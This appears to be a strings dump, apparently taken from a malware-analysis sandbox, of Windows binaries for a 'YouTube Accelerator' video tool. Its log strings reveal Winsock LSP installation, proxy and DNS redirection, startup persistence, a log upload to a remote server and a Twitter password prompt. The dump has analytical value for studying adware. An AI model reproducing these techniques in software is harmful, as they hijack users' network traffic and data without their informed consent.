[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
Name: %s
Path: %s
Version: %s
%s_%d.log
CSLogReportEventThread::DoPacLogFiles] Zip file created.
*.bak
CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d
*.log
Config.xml
CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.
BakLspCommTest.zip
LspCommTest.zip
[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X
[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED
hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx
[CSLogReportEventThread::DoPostZipFile] Trying to POST...
[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s
hXXp://online.@[email protected]/online/
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current
M[CRegistrationMgr::IsTrialVersion]%d
exp=%d
ins=%d
Dur=%d
[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s
Trial.dat
Trial_QA.xml
[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s
(%d days left)
DAYURL
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetDailyUrl]
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyUrl]
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s
xmldb.dll
config.xml
RtmpListenPort
MiTunes.exe
[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::IsTrial] m_bIsTrial = %d
User%d
[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s
[CSA_GUIApp::GoToURL] ___Error The specified file was not found
YouTubeAccelerator.exe
[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s
ytalsp.dll
[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s
[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d
[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s
unwise.exe
[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d
[CSA_GUIApp::GetTempDir] Folder: %s
[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s
%s %s
[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s
YoutubeAcceleratorService.exe
D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s
[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)
[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s
Res\VARes_%d\
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x
[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x
[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s
VARes_%d\
[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d
ResOld.dll
ResTemp.dll
[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x
[CSA_GUIApp::RunFinishHtml] GotoURL status is %d
[CSA_GUIApp::RunFinishHtml] Finish URL is : %s
hXXp://@BRAND_ID@.@[email protected]/finishinstall?
hXXp://rep.@[email protected]/app/ping.ashx
engine.dll
[CSA_GUIApp::FormatURL] URL: %s
&TrialDaysLeft=%d
?V=%s&pr=%d&Beta=%d&Emode=%d
[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL
[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d
[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d
VA???.lng
[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!
[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d
%s&OEM=%s
hXXp://@BRAND_ID@.@[email protected]/support/help
VIDEO_ACCELERATOR.MHT
[CSA_GUIDlg::ShowMenora] ___Error No lending url
[CSA_GUIDlg::OnMenoraOpen] ___Error url empty
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d
[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...
[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s
-b -d %s
lspinst2.exe
lspinst.exe
CSABaseWebWindow::OnBeginDrag
CSABaseWebWindow::OnStopDrag
ECSABaseWebWindow::Navigate : url = %s
CSABaseWebWindow::OnNavigateError : url = %s
CSABaseWebWindow::OnNavigateComplete : url = %s
CSABaseWebWindow::OnDocumentComplete : url = %s
CSANotifierWebWindow::SetMetaData GOT 'height'
CSANotifierWebWindow::SetMetaData GOT 'width'
[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"
[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"
[CSANotifierWebWindow::ReplaceLNGTags] length %d
[CSANotifierWebWindow::ReplaceLNGTags]
[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed
ItweetMessage.mht
SilentTestFailed.mht
SilentTestSucceeded.mht
ITUNESMESSAGE.MHT
hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp
OldDriver.mht
Activation_Expired.mht
noupdates.mht
exiting.mht
va_on.mht
va_off.mht
dl_update.mht
update.mht
HD_DISABLED.MHT
ACCELERATION_NOT_SUPPORTED.MHT
now_accelerating.mht
ACCELERATION_NOT_SUPPORTED_CHECKBOX
ACCELERATION_NOT_SUPPORTED_BUTTON_OK
%d days left.
%d Days left
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration
[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration
WININET.DLL
Gkernel32.dll
d/d/%d d:d:d::d
[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d
"%s" "%s"
"%s" %s
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
[ACCELINFO::OnDeserialize] ___Error get URL
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
zvl=%s&
%s?e=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Hcomctl32.dll
Hcomdlg32.dll
Hshell32.dll
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
%s%s.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
mfcm90u.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
J.INI
J.com
DLG_%u
PID%u
les (x86)\YouTube Accelerator\YouTubeAccelerator.exe
Important:
Port:
Contact Our Support
See supported video sites
Join Today!
2.0.5.3
Watch YouTube and other web videos without pauses.
Twitter login
Password:
Enter your username and password for Twitter:
<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>
Communications test failed.JWe believe it might be a Security / Firewall issue.
For additional information, contact our support at:
hXXp://@[email protected]/support/
hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.
hXXp://@[email protected]/support/
Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address
(e.g. sample.proxy.com, 192.168.1.100)
@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium
lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...
@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:
@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.
@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.
HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.
Supported Video Sites
Every web video just got better
All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.
3.3.8.9

jsdrv.exe_2700:




.text
`.rdata
@.data
.rsrc
@.reloc
HTTPt
t.Ph|;M
FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6
QSSSSh`
u.PShXwO
Tu8%XuJ@Uu
Tu.AUub
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X
[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)
[CLoader::AddRef] RefCount: %d
[CLoader::Release] RefCount: %d
[CLoader::UpdateVersionStatus] Status: %d (%d)
[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d
[CLoader::GetMode] Engine Mode = %d
- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d
spCmd
[CLoader::DoStop] ___Error UnLoadMonitor - %X
[CLoader::DoStop] ___Error UnLoadRedirector - %X
[CLoader::DoStop] ___Error UnLoadProxy - %X
[CLoader::Load] Added %d m_nLSPConfChangedEvent
[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration
[CLoader::IsToLoadProxyModule] FALSE - Partner: %s
[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s
Monitor.dll
%d.%d.%d.%d
[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d
[CLoader::RunLspInstaller] ___Error CreateProcess: %d
[CLoader::RunLspInstaller] CreateProcess: %s
\\.\pipe\VAPIPESERVERENG
[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d
CommTest.exe
[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times
[CLoader::CheckOurLSPStatus] Done.
[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d
[CLoader::CheckOurLSPStatus] CreateProcess: %s
[CLoader::CheckOurLSPStatus]
EmptyKey
[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY
3.3.9.3
[CLoader::InstallLsp] Done - %s
[CLoader::InstallLsp] Running second LSP installation method - %s
2.exe
[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s
[CLoader::UnInstallLSP] Done - %s
Name: %s
Path: %s
Version: %s
%s_%d_%s.log
[CLoader::LoadModules] Already loaded, Status = %d, return...
[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d
[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d
[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d
[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
jsdrv.exe
config.xml
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
\\.\pipe\VAPIPESERVERUI
[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept
[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString
[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect
[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind
[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall
[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket
[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect
[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW
[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents
[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect
[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult
[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername
[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname
[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt
[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName
[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl
[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf
[CBaseProviderProc::WSPJoinLeaf]
[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen
[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv
[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect
[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom
[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select
[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend
[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect
[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo
[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt
[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown
[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress
[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket
[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d
[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d
[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup
[CRedirectController::SetPassThrough]
[CRedirectController::GetTestingMode] %d
[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration
[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration
IsOurPacFileExist: %s
[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
vaproxy.pac
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CDnsController::SetRedirectFilter] Domain: %s
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
